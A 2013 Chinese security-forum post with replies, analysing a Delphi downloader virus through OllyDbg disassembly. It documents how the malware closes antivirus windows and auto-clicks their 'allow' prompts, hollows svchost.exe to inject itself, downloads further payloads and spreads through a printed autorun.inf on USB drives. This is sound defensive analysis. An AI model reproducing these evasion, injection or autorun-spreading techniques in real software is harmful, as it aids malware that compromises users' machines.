吾爱破解 - 52pojie.cn

 找回密码
 注册[Register]

QQ登录

只需一步,快速开始

查看: 5374|回复: 8
收起左侧

[PC样本分析] 简单替换执行病毒

[复制链接]
h_one 发表于 2013-7-16 01:45
使用论坛附件上传样本压缩包时必须使用压缩密码保护,压缩密码:52pojie,否则会导致论坛被杀毒软件等误报,论坛有权随时删除相关附件和帖子!
病毒分析分区附件样本、网址谨慎下载点击,可能对计算机产生破坏,仅供安全人员在法律允许范围内研究,禁止非法用途!
禁止求非法渗透测试、非法网络攻击、获取隐私等违法内容,即使对方是非法内容,也应向警方求助!
简单分析报告:
基本信息
作者: jwn
样本类型:替换执行体
壳信息:无壳
可能受到威胁的系统:windows

【编写语言】: Borland Delphi 6.0 - 7.0
【使用工具】: PEID,OD,IDA
【操作平台】: D-Windows XP3
简介:
运行程序后,程序自动删除,并且开始系统没有任何反应,会在C:\Program Files\WindowsUpdate目录下下载一些程序,C盘下面新建一个auto.ini
内容为,这样当有U盘插入的时候,可以复制自己进行传播,并删除C盘下的auto,ini文件。

简单分析:

OD载入,,右键查看字符串,发现
C:\Program Files\WindowsUpdate\sys3.exe
C:\Program Files\WindowsUpdate\sys4.exe
C:\Program Files\WindowsUpdate\sys5.exe
C:\Program Files\WindowsUpdate\sys6.exe 等所以十有八九都是个下载者病毒

131458E0  |.  64:8920            mov dword ptr fs:[eax],esp
131458E3  |.  68 4C5A1413   push 5.13145A4C                                                   ;  dxdown
131458E8  |.  6A FF                push -0x1
131458EA  |.  6A 00               push 0x0
131458EC  |.  E8 67E5FFFF    call 5.13143E58                                                   ;  CreateMutes
跟进call 13143E58

这个call功能是,调用CreateMutes建议一个互斥对象,名为dxdown 这就是保证系统中只有一个病毒实例运行
g_Mute = CreateMutes(NULL, TRUE, "dxdown");
if(g_Mute)
{       
    if (ERROR_ALREADY_EXISTS == GetLastError())
    {
        cout<<"only instance are running!"<<endl;
        return;
    }

}


接下来是创建一个线程, 在反汇编窗口跟随131444B8到并下断
131444E4  /$  51                       push ecx
131444E5  |.  84C0                    test al,al
131444E7  |.  74 15                   je X5.131444FE
131444E9  |.  54                        push esp                                                          ; /pThreadId
131444EA  |.  6A 00                  push 0x0                                                          ; |CreationFlags = 0
131444EC  |.  6A 00                  push 0x0                                                          ; |pThreadParm = NULL
131444EE  |.  68 B8441413       push 5.131444B8                                                   ; |ThreadFunction = 5.131444B8
131444F3  |.  6A 00                   push 0x0                                                          ; |StackSize = 0x0
131444F5  |.  6A 00                   push 0x0                                                          ; |pSecurity = NULL
131444F7  |.  E8 84F9FFFF         call <jmp.&KERNEL32.CreateThread>           ; \CreateThread
131444FC  |.  5A                        pop edx
131444FD  |.  C3                        retn

此线程功能:创建一个延迟一毫秒发生的时间事件。在回调函数131443DC下断

2

2


进入回调函数 调用FindWindows发现窗口"AVP.Void","AVP.Product_Notification", "Q360SafeMonClass"窗口类名句柄 ,当发现就向窗口发送WM_SYSCOMMAND消息,参数wParam = 0xF060表示Close



若发现AVP.AlertDialog窗口类,枚举他的子窗口,实现对该程序的操作,再回调函数13144198下断(我机器上没按这个东东,,也就走到了,大概可以看出)




如发现"AVP.AlertDialog"的窗口,则查找起窗口内的名为"AVP.Button","允许", "允許", "跳过", "跳過"等按扭,调用SendMessage发送BM_CLICK消息来模拟用户点击.

131441EC  |.  E8 17E9FFFF            call 5.13142B08
131441F1  |.  68 FF000000            push 0xFF                                          ; /Count = FF (255.)
131441F6  |.  8D85 00FFFFFF          lea eax,[local.64]                                 ; |
131441FC  |.  50                     push eax                                           ; |Buffer
131441FD  |.  53                     push ebx                                           ; |hWnd
131441FE  |.  E8 45FDFFFF            call <jmp.&user32.GetClassNameA>                   ; \GetClassNameA
13144203  |.  68 FF000000            push 0xFF                                          ; /Count = FF (255.)
13144208  |.  8D85 00FEFFFF          lea eax,[local.128]                                ; |
1314420E  |.  50                     push eax                                           ; |Buffer
1314420F  |.  53                     push ebx                                           ; |hWnd
13144210  |.  E8 43FDFFFF            call <jmp.&user32.GetWindowTextA>                  ; \GetWindowTextA
13144215  |.  8D95 FCFDFFFF          lea edx,[local.129]
1314421B  |.  8D85 00FFFFFF          lea eax,[local.64]
13144221  |.  E8 52FEFFFF            call 5.13144078
13144226  |.  8B85 FCFDFFFF          mov eax,[local.129]
1314422C  |.  BA 70431413            mov edx,5.13144370                                 ;  AVP.Button
13144231  |.  E8 C2F5FFFF            call 5.131437F8
13144236  |.  0F85 F8000000          jnz 5.13144334
1314423C  |.  8D95 F8FDFFFF          lea edx,[local.130]
13144242  |.  8D85 00FEFFFF          lea eax,[local.128]
13144248  |.  E8 2BFEFFFF            call 5.13144078
1314424D  |.  8B85 F8FDFFFF          mov eax,[local.130]
13144253  |.  BA 84431413            mov edx,5.13144384                                 ;  允许
13144258  |.  E8 9BF5FFFF            call 5.131437F8
1314425D  |.  0F84 B3000000          je 5.13144316
13144263  |.  8D95 F4FDFFFF          lea edx,[local.131]
13144269  |.  8D85 00FEFFFF          lea eax,[local.128]
1314426F  |.  E8 04FEFFFF            call 5.13144078
13144274  |.  8B85 F4FDFFFF          mov eax,[local.131]
1314427A  |.  BA 94431413            mov edx,5.13144394                                 ;  跳过
1314427F  |.  E8 74F5FFFF            call 5.131437F8
13144284  |.  0F84 8C000000          je 5.13144316
1314428A  |.  8D95 F0FDFFFF          lea edx,[local.132]
13144290  |.  8D85 00FEFFFF          lea eax,[local.128]
13144296  |.  E8 DDFDFFFF            call 5.13144078
1314429B  |.  8B85 F0FDFFFF          mov eax,[local.132]
131442A1  |.  BA A4431413            mov edx,5.131443A4                                 ;  允许
131442A6  |.  E8 4DF5FFFF            call 5.131437F8
131442AB  |.  74 69                  je X5.13144316
131442AD  |.  8D95 ECFDFFFF          lea edx,[local.133]
131442B3  |.  8D85 00FEFFFF          lea eax,[local.128]
131442B9  |.  E8 BAFDFFFF            call 5.13144078
131442BE  |.  8B85 ECFDFFFF          mov eax,[local.133]
131442C4  |.  BA B4431413            mov edx,5.131443B4                                 ;  跳过
131442C9  |.  E8 2AF5FFFF            call 5.131437F8
131442CE  |.  74 46                  je X5.13144316
131442D0  |.  8D95 E8FDFFFF          lea edx,[local.134]
131442D6  |.  8D85 00FEFFFF          lea eax,[local.128]
131442DC  |.  E8 97FDFFFF            call 5.13144078
131442E1  |.  8B85 E8FDFFFF          mov eax,[local.134]
131442E7  |.  BA C4431413            mov edx,5.131443C4
131442EC  |.  E8 07F5FFFF            call 5.131437F8
131442F1  |.  74 23                  je X5.13144316
131442F3  |.  8D95 E4FDFFFF          lea edx,[local.135]
131442F9  |.  8D85 00FEFFFF          lea eax,[local.128]
131442FF  |.  E8 74FDFFFF            call 5.13144078
13144304  |.  8B85 E4FDFFFF          mov eax,[local.135]
1314430A  |.  BA D4431413            mov edx,5.131443D4
1314430F  |.  E8 E4F4FFFF            call 5.131437F8
13144314  |.  75 1E                  jnz X5.13144334
13144316  |>  6A 00                  push 0x0                                           ; /lParam = 0x0
13144318  |.  6A 00                  push 0x0                                           ; |wParam = 0x0
1314431A  |.  68 F5000000            push 0xF5                                          ; |Message = BM_CLICK
1314431F  |.  53                     push ebx                                           ; |hWnd
13144320  |.  E8 43FCFFFF            call <jmp.&user32.SendMessageA>                    ; \SendMessageA
13144325  |.  6A 00                  push 0x0                                           ; /lParam = 0x0
13144327  |.  6A 00                  push 0x0                                           ; |wParam = 0x0
13144329  |.  68 F5000000            push 0xF5                                          ; |Message = BM_CLICK
1314432E  |.  53                     push ebx                                           ; |hWnd
1314432F  |.  E8 34FCFFFF            call <jmp.&user32.SendMessageA>                    ; \SendMessageA
13144334  |>  83CB FF                or ebx,0xFFFFFFFF


调用CreateProcess 创建进程c:\windows\system32\svchost.exe 注意 传递参数CREATE_SUSPENDED 启动后立即挂起



解析自身,得到自身装载大小SizeofImage,调用VirtualAllocEx 在svchost.exe进程空间(地址为病毒加载基址)开辟SizeOfImage大小空间,
调用WriteProcessMemorys把病毒自身写入,调用GetThreadContext得到线程上下文(调用这个函数之前要设置pContext.contextflag这个字段表示要得到context的哪些信息),+84指向eip,调用SetThreadContext函数设置新的eip=13144E88, 最后调用ResumeThread函数唤醒线程,试svchost.exe进程空间中的病毒代码运行。


创建的病毒进程c:\windows\system32\svchost.exe在f8到ResumeThread函数后,病毒运行完自身功能就会推出并删除自身,所以在调用这个函数之前,找到该进程载入OD,或附加该进程。(我一直没有成功,求大家指教。我就静态看的了)转到13144E88地址
该过程的功能大概就是调用“URLDownloadToFileA”从指定的URL,上下载病毒程序,到指定位置.之后调用ShellExecuteA函数执行下载的病毒程序
文件的指定存储地址名
"C:\Program Files\WindowsUpdate\sys.exe"
"C:\Program Files\WindowsUpdate\sys2.exe"
"C:\Program Files\WindowsUpdate\sys3.exe"
"C:\Program Files\WindowsUpdate\sys4.exe"
"C:\Program Files\WindowsUpdate\sys5.exe"
"C:\Program Files\WindowsUpdate\sys6.exe"
"C:\Program Files\WindowsUpdate\sys7.exe"
"C:\Program Files\WindowsUpdate\sys8.exe"
"C:\Program Files\WindowsUpdate\sys9.exe"
"C:\Program Files\WindowsUpdate\sys10.exe"
9.png
clipboard.png
10.png

病毒在C盘目录下创建auto.inf文件,(点击磁盘后会自动运行指定程序,读光盘就是这个原理吧)
在文件中写入
[AutoRun]

open=system.exe
shell\open=打开(&O)
shell\open\Command=system.exe
shell\open\Default=1
shell\explore=资源管理器(&X)
shell\explore\Command=system.exe



13144710  |.  8B45 EC                   mov eax,[local.5]
13144713  |.  E8 DCF1FFFF            call 5.131438F4
13144718  |.  8D45 F8                   lea eax,[local.2]
1314471B  |.  B9 7C491413           mov ecx,5.1314497C                                   ;  \auto.inf
13144720  |.  8B55 EC                   mov edx,[local.5]
13144723  |.  E8 5CF0FFFF             call 5.13143784                                          ;  len
13144728  |.  6A 00                       push 0x0
1314472A  |.  8B45 F8                   mov eax,[local.2]                                        ;  C:\auto.inf
1314472D  |.  E8 6AF1FFFF           call 5.1314389C
13144732  |.  50                            push eax                                          ; |FileName
13144733  |.  E8 D0F7FFFF           call <jmp.&KERNEL32.SetFileAttributesA>           ; \SetFileAttributesA
13144738  |.  8B55 F8                   mov edx,[local.2]
1314473B  |.  8D85 20FEFFFF       lea eax,[local.120]
将数据写入缓冲区 调用writeFile将数据写入auto.inf文件 (点击c就会自动运行system.exe程序)
11.png
12.png

通过遍历磁盘(从C盘开始)通过调用GetDriveTypeA函数得到磁盘类型,cmp eax,0x2比较磁盘类型,0x2是无移动磁盘的宏,若找到可移动磁盘
病毒文件命名为system.exe复制到该磁盘根目录下,并将"C:\auto.inf"复制到该磁盘根目录下命名为Autorun.inf。实现病毒通过可移动存储设备的传播功能

13.png
14.png

实现U盘感染后,将c盘目录下的auto.inf文件删除,,,,
15.png

最后病毒使用CMD命令删除自身
16.png




晕,,,死就这样吧。













10.png

免费评分

参与人数 2威望 +3 热心值 +1 收起 理由
willJ + 1 感谢发布原创作品,[吾爱破解论坛]因你更精.
是昔流芳 + 2 + 1 欢迎分析讨论交流,[吾爱破解论坛]有你更精.

查看全部评分

发帖前要善用论坛搜索功能,那里可能会有你要找的答案或者已经有人发布过相同内容了,请勿重复发帖。

qq63 发表于 2013-7-16 08:36
学习下  这个有病毒样本么????、
 楼主| h_one 发表于 2013-7-16 12:33
vip_zhizun 发表于 2013-7-23 04:55 来自手机
头像被屏蔽
xiawei1203 发表于 2013-7-23 05:20
提示: 作者被禁止或删除 内容自动屏蔽
kangkai 发表于 2013-7-23 18:53
亲,怎么没有样本呀。
Cari丶 发表于 2013-8-4 23:12
很详细的分析。可是病毒样本呢。
willJ 发表于 2013-8-28 01:15
分析得不错,但是不太明白文章为何取这个名字
楼主可以尝试看看下载下来的样本,或许有新发现喲
 楼主| h_one 发表于 2013-8-30 11:18
蒋老师{:1_931:},,小弟分析的不全。我去看看
您需要登录后才可以回帖 登录 | 注册[Register]

本版积分规则

返回列表

RSS订阅|小黑屋|处罚记录|联系我们|吾爱破解 - LCG - LSG ( 京ICP备16042023号 | 京公网安备 11010502030087号 )

GMT+8, 2024-11-24 15:25

Powered by Discuz!

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表